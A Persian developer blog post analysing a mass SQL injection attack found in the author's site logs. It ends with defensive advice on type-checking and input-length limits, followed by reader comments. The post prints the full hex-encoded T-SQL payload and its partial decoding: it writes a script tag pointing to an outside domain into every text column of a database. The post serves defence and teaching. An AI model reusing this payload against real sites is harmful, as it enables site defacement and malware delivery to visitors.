عنوان: **حمله چینی‌ها به سایت‌های ایرانی !**
نویسنده: وحید نصیری
تاریخ: ۱۳۸۷/۰۸/۰۵ ۱۶:۰۷:۰۵
آدرس: www.dotnettips.info
برچسب‌ها: Security

چند روز پیش داشتم لاگ‌های خطای یکی از سایت‌هایی رو که درست کرده‌ام بررسی می‌کردم، متوجه حجم بالای فایل لاگ خطای آن شدم (در چند سایت مختلف این مورد مشابه را دیدم). پس از بررسی، مورد زیر بسیار جالب بود:

: Log Entry

```
=Error Raw Url :/show.aspx?id=15 ;DECLARE%20@S%20CHAR(4000);SET%20@S
CAST(0x4445434C415245204054207661726368617228323535292C404
3207661726368617228343030302920444543 4C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C452840404645544348 5F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D207365742054205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D207768657265202720272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D27272729464554434820 4E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F4341544520546 1626C655F437572736F72%20AS%20CHAR(4000));EXEC(
;(@S

IP=120.129.71.187

vahidnasiri.blogspot.com
```

خوب این چی هست؟!
قبل از اینکه با اجرای عبارت SQL فوق به صورت تستی و محض کنجکاوی، کل دیتابیس جاری (SQL server) را آلوده کنیم می‌شود تنها قسمت cast آنرا مورد بررسی قرار داد. برای مثال به صورت زیر:

```
print CAST(0x444... AS CHAR(4000))
```

خروجی، عبارت زیر خواهد بود که به صورت استادانه‌ای مخفی شده است:

```
,(DECLARE @T varchar(255
,(C varchar(4000@
DECLARE Table_Cursor CURSOR
FOR
,SELECT a.name
b.name
,FROM sysobjects a
syscolumns b
WHERE a.id = b.id
'AND a.xtype = 'u
) AND
b.xtype = 99
OR b.xtype = 35
OR b.xtype = 231
OR b.xtype = 167
(
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
.....
```

عبارت T-SQL فوق، تمامی فیلدهای متنی (text ، char ، varchar و امثال آن) کلیه جداول دیتابیس جاری را پیدا کرده و به آن‌ها اسکریپتی را اضافه می‌کند. (آدرس‌های فوق وجود ندارد و بنابراین ارجاع آن صرفا سبب کندی شدید باز شدن صفحات سایت خواهد شد بدون اینکه نمایش ظاهری خاصی را مشاهده نمائید)

این حمله اس کیوال موفق نبود. علت؟
اگر به آدرس بالا دقت کنید آدرس صفحه به show.aspx?id=15 ختم می‌شود. برای مثال نمایش خبر شماره 15 در سایت. در اینجا، هدف، دریافت یک عدد صحیح از طریق query string است و نه هیچ چیز دیگری. بنابراین قبل از انجام هر کاری و تنها با بررسی نوع داده دریافتی، این نوع حملات عقیم خواهند شد. (برای مثال بکارگیری int.Parse(Request...) در صورت عدم دریافت

یک متغیر عددی، سبب ایجاد یک exception شده و برنامه در همین نقطه متوقف می‌شود)

IP های زیر حمله بالا رو انجام دادند:

IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188

این آی پی‌ها یا چینی هستند یا کره‌ای و البته الزامی هم ندارد که حتما متعلق به این کشورها باشند (استفاده از پروکسی توسط یک "هم‌وطن" برای مثال).

حالا شاید سؤال بپرسید که چرا از این اعداد هگز استفاده کرده‌اند؟ چرا مستقیما عبارت sql را وارد نکرده‌اند؟
همیشه ورودی ما از یک کوئری استرینگ عدد نخواهد بود (بسته به طراحی برنامه). در این موارد بررسی اعتبار کوئری استرینگ وارد شده بسیار مشکل می‌شود. برای مثال می‌شود تابعی طراحی کرد که اگر در مقدار دریافتی از کوئری استرینگ، select یا insert یا update و امثال آن وجود داشت، به صورت خودکار آنها را حذف کند. اما استفاده از cast فوق توسط فرد مهاجم، عملا این نوع روش‌ها را ناکارآمد خواهد کرد. برای مقابله با این حملات اولین اصلی را که باید به‌خاطر داشت این است: به کاربر اجازه انشاء نوشتن ندهید! اگر قرار است طول رشته دریافتی مثلا 32 کاراکتر باشد، او حق ندارد بیشتر از این مقداری را وارد نماید (به طول بیش از اندازه رشته وارد شده فوق دقت نمائید).
و موارد دیگری از این دست (شامل تنظیمات IIS ، روش‌های صحیح استفاده از ADO.NET برای مقابله با این نوع حملات و غیره) که خلاصه آن‌ها را در کتاب فارسی زیر می‌توانید پیدا کنید:
http://naghoos-andisheh.ir/product_info.php?products_id=197

نظرات خوانندگان

نویسنده: babak zawari
تاریخ: ۱۳۸۸/۱۰/۰۴ ۰۰:۰۲:۳۵

اتفاقا این مطلب برای یک نفر دیگه در یک تاریخ جلوتر از شما دقیقا با کدهای شما اتفاق افتاده جالب نیست.
www.rtraction.com/blog/devit/sql-injection-hack-using-cast-html

نویسنده: وحید نصیری
تاریخ: ۱۳۸۸/۱۰/۰۴ ۰۰:۱۲:۲۶

لاگ سایت ما که پر بود از این حمله. احتمالا عمومی بوده روی یک سری سایت.